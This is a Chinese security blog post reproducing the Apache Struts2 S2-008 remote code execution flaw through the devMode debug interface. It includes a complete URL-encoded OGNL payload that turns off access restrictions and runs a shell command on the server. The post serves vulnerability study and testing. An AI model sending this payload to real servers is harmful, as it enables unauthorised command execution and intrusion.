S2-008远程代码执行

admin 2023年12月5日00:36:32评论15 views字数 1605阅读5分21秒阅读模式

漏洞简介

S2-008涉及多个漏洞,Cookie拦截器错误配置可造成OGNL表达式执行,但由于大多数Web容器(如Tomcat)对Cookie名称都有字符限制,一些关键字符无法使用使得这个点宽度比较鸡肋。一个比较鸡肋的点就是在struts2应用开启devMode模式后会有多个debug接口能够直接查看对象信息或直接执行命令,正如kxlzx所提这种情况在生产环境中几乎不可能存在,因此就很互联鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启调试模式的应用到服务器上作为后门也是有可能的。

漏洞详情:http://struts.apache.org/docs/s2-008.html

影响版本

2.1.0-2.1.3

漏洞复现

S2-008远程代码执行

环境搭建下,访问http://ip:8080

例如在devMode模式下直接添加参数?debug=command&expression=<OGNL EXP>,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

http://192.168.137.145:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22ls%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

S2-008远程代码执行

S2-008远程代码执行


本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):S2-008远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月5日00:36:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-008远程代码执行http://cn-sec.com/archives/2268333.html

发表评论

匿名网友 填写信息